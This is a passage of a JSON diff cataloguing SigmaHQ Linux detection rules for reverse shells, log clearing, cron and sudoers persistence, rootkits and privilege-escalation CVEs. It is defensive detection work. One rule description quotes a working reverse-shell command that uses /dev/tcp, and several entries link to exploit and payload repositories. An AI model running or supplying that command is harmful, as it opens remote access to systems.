those systems.", + "meta": { + "author": "Igor Fits, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "lnx_auditd_system_shutdown_reboot.yml", + "level": "informational", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ] + }, + "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f", + "value": "System Shutdown/Reboot" + }, + { + "description": "Detects extracting of zip file from image file", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/09", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ] + }, + "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca", + "value": "Steganography Unzip Hidden Information From Picture File" + }, + { + "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Admin activity" + ], + "filename": "lnx_auditd_user_discovery.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3", + "value": "System Owner or User Discovery" + }, + { + "description": "Detects possible command execution by web application/web shell", + "meta": { + "author": "Ilyas Ochkov, Beyu Denis, oscd.community", + "creation_date": "2019/10/12", + "falsepositive": [ + "Admin activity", + "Crazy web applications" + ], + "filename": "lnx_auditd_web_rce.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "personal experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222", + "value": "Webshell Remote Command Execution" + }, + { + "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/04/09", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_apt_equationgroup_lnx.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml" + ], + "tags": [ + "attack.execution", + "attack.g0020", + "attack.t1059.004" + ] + }, + "uuid": "41e5c73d-9983-4b69-bd03-e13b67e9623c", + "value": "Equation Group Indicators" + }, + { + "description": "Detects buffer overflow attempts in Unix system log files", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/01", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_buffer_overflows.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml" + ], + "tags": [ + "attack.t1068", + "attack.privilege_escalation" + ] + }, + "uuid": "18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781", + "value": "Buffer Overflow Attempts" + }, + { + "description": "Detects specific commands commonly used to remove or empty the syslog", + "meta": { + "author": "Max Altgelt", + "creation_date": "2021/09/10", + "falsepositive": [ + "Log rotation" + ], + "filename": "lnx_clear_syslog.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565.001" + ] + }, + "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3", + "value": "Commands to Clear or Remove the Syslog" + }, + { + "description": "Detects suspicious modification of crontab file.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2022/04/16", + "falsepositive": [ + "Legitimate modification of crontab" + ], + "filename": "lnx_crontab_file_modification.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_crontab_file_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ] + }, + "uuid": "af202fd3-7bff-4212-a25a-fb34606cfcbe", + "value": "Modifying Crontab" + }, + { + "description": "Detects the use of tools that copy files from or to remote systems", + "meta": { + "author": "Ömer Günal", + "creation_date": "2020/06/18", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "lnx_file_copy.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1105/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.lateral_movement", + "attack.t1105" + ] + }, + "uuid": "7a14080d-a048-4de8-ae58-604ce58a795b", + "value": "Remote File Copy" + }, + { + "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/05/05", + "falsepositive": [ + "Rare temporary workaround for library misconfiguration" + ], + "filename": "lnx_ldso_preload_injection.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://man7.org/linux/man-pages/man8/ld.so.8.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.006" + ] + }, + "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684", + "value": "Code Injection by ld.so Preload" + }, + { + "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2022/05/04", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", + "https://github.com/Immersive-Labs-Sec/nimbuspwn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "7ba05b43-adad-4c02-b5e9-c8c35cdf9fa8", + "value": "Nimbuspwn Exploitation" + }, + { + "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", + "meta": { + "author": "Sreeman", + "creation_date": "2022/01/26", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_pwnkit_local_privilege_escalation.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://twitter.com/wdormann/status/1486161836961579020", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.001" + ] + }, + "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9", + "value": "PwnKit Local Privilege Escalation" + }, + { + "description": "Detects shellshock expressions in log files", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/14", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_shellshock.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "c67e0c98-4d39-46ee-8f6b-437ebf6b950e", + "value": "Shellshock Expression" + }, + { + "description": "Clear command history in linux which is used for defense evasion.", + "meta": { + "author": "Patrick Bareiss", + "creation_date": "2019/03/24", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_shell_clear_cmd_history.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", + "https://attack.mitre.org/techniques/T1070/003/", + "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ] + }, + "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e", + "value": "Clear Command History" + }, + { + "description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", + "meta": { + "author": "Patrick Bareiss", + "creation_date": "2019/04/05", + "falsepositive": [ + "Troubleshooting on Linux Machines" + ], + "filename": "lnx_shell_priv_esc_prep.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", + "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", + "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ] + }, + "uuid": "444ade84-c362-4260-b1f3-e45e20e1a905", + "value": "Privilege Escalation Preparation" + }, + { + "description": "Detects suspicious shell commands used in various exploit codes (see references)", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/08/21", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_shell_susp_commands.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", + "http://pastebin.com/FtygZ1cg", + "https://artkond.com/2017/03/23/pivoting-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ] + }, + "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695", + "value": "Suspicious Activity in Shell Commands" + }, + { + "description": "Detects suspicious log entries in Linux log files", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/25", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_shell_susp_log_entries.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1", + "value": "Suspicious Log Entries" + }, + { + "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/04/02", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_shell_susp_rev_shells.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://alamot.github.io/reverse_shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ] + }, + "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab", + "value": "Suspicious Reverse Shell Command Line" + }, + { + "description": "Detects space after filename", + "meta": { + "author": "Ömer Günal", + "creation_date": "2020/06/17", + "falsepositive": [ + "Typos" + ], + "filename": "lnx_space_after_filename_.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1064", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7", + "value": "Space After Filename" + }, + { + "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/15", + "falsepositive": [ + "Unlikely" + ], + "filename": "lnx_sudo_cve_2019_14287_user.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://access.redhat.com/security/cve/cve-2019-14287", + "https://twitter.com/matthieugarin/status/1183970598210412546", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.t1548.003", + "cve.2019.14287" + ] + }, + "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858", + "value": "Sudo Privilege Escalation CVE-2019-14287" + }, + { + "description": "Detects suspicious command with /dev/tcp", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_susp_dev_tcp.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", + "https://book.hacktricks.xyz/shells/shells/linux", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" + ], + "tags": [ + "attack.reconnaissance" + ] + }, + "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c", + "value": "Suspicious Use of /dev/tcp" + }, + { + "description": "Detects suspicious command sequence that JexBoss", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_susp_jexboss.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ] + }, + "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae", + "value": "JexBoss Command Sequence" + }, + { + "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/04/05", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_symlink_etc_passwd.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.qualys.com/2021/05/04/21nails/21nails.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml" + ], + "tags": [ + "attack.t1204.001", + "attack.execution" + ] + }, + "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523", + "value": "Symlink Etc Passwd" + }, + { + "description": "Detects the creation of doas.conf file in linux host platform.", + "meta": { + "author": "Sittikorn S, Teoderick Contreras", + "creation_date": "2022/01/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_create_lnx_doas_conf_creation.yml", + "level": "medium", + "logsource.category": "file_create", + "logsource.product": "linux", + "refs": [ + "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681", + "value": "Linux Doas Conf File Creation" + }, + { + "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/10/15", + "falsepositive": [ + "Any legitimate cron file." + ], + "filename": "file_create_lnx_persistence_cron_files.yml", + "level": "medium", + "logsource.category": "file_create", + "logsource.product": "linux", + "refs": [ + "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ] + }, + "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05", + "value": "Persistence Via Cron Files" + }, + { + "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/05", + "falsepositive": [ + "Creation of legitimate files in sudoers.d folder part of administrator work" + ], + "filename": "file_create_lnx_persistence_sudoers_files.yml", + "level": "medium", + "logsource.category": "file_create", + "logsource.product": "linux", + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ] + }, + "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d", + "value": "Persistence Via Sudoers Files" + }, + { + "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_create_lnx_triple_cross_rootkit_lock_file.yml", + "level": "high", + "logsource.category": "file_create", + "logsource.product": "linux", + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_lock_file.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", + "value": "Triple Cross eBPF Rootkit Default LockFile" + }, + { + "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_create_lnx_triple_cross_rootkit_persistence.yml", + "level": "high", + "logsource.category": "file_create", + "logsource.product": "linux", + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1053.003" + ] + }, + "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f", + "value": "Triple Cross eBPF Rootkit Default Persistence" + }, + { + "description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/28", + "falsepositive": [ + "Vulnerability scanners", + "Frequent attacks if system faces Internet" + ], + "filename": "modsec_mulitple_blocks.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/modsecurity/modsec_mulitple_blocks.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499" + ] + }, + "uuid": "a06eea10-d932-4aa6-8ba9-186df72c8d23", + "value": "Multiple Modsecurity Blocks" + }, + { + "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/16", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_lnx_back_connect_shell_dev.yml", + "level": "critical", + "logsource.category": "network_connection", + "logsource.product": "linux", + "refs": [ + "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml" + ], + "tags": "No established tags" + }, + "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871", + "value": "Linux Reverse Shell Indicator" + }, + { + "description": "Detects process connections to a Monero crypto mining pool", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/26", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "filename": "net_connection_lnx_crypto_mining_indicators.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "linux", + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml" + ], + "tags": "No established tags" + }, + "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746", + "value": "Linux Crypto Mining Pool Connections" + }, + { + "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/11/03", + "falsepositive": [ + "Legitimate use of ngrok" + ], + "filename": "net_connection_lnx_ngrok_tunnel.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "linux", + "refs": [ + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", + "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1567", + "attack.t1568.002", + "attack.t1572", + "attack.t1090", + "attack.t1102", + "attack.s0508" + ] + }, + "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6", + "value": "Communication To Ngrok Tunneling Service - Linux" + }, + { + "description": "Detects relevant ClamAV messages", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/01", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_clamav.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_clamav.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.001" + ] + }, + "uuid": "36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb", + "value": "Relevant ClamAV Message" + }, + { + "description": "Detects disabling security tools", + "meta": { + "author": "Ömer Günal, Alejandro Ortuno, oscd.community", + "creation_date": "2020/06/17", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "lnx_security_tools_disabling_syslog.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_security_tools_disabling_syslog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36", + "value": "Disabling Security Tools" + }, + { + "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_ssh_cve_2018_15473.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/Rhynorater/CVE-2018-15473-Exploit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_ssh_cve_2018_15473.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1589" + ] + }, + "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da", + "value": "SSHD Error Message CVE-2018-15473" + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/16", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Workstations with frequently changing users" + ], + "filename": "lnx_susp_failed_logons_single_source.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_failed_logons_single_source.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "fc947f8e-ea81-4b14-9a7b-13f888f94e18", + "value": "Failed Logins with Different Accounts from Single Source System" + }, + { + "description": "Detects suspicious session with two users present", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/03", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_susp_guacamole.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://research.checkpoint.com/2020/apache-guacamole-rce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_guacamole.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ] + }, + "uuid": "1edd77db-0669-4fef-9598-165bda82826d", + "value": "Guacamole Two Users Sharing Session Anomaly" + }, + { + "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/02/20", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_susp_named.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_named.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "c8e35e96-19ce-4f16-aeb6-fd5588dc5365", + "value": "Suspicious Named Error" + }, + { + "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/06/30", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_susp_ssh.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_ssh.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc", + "value": "Suspicious OpenSSH Daemon Error" + }, + { + "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/07/05", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_susp_vsftp.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/dagwieers/vsftpd/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_vsftp.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe", + "value": "Suspicious VSFTPD Error Messages" + }, + { + "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_at_command.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", + 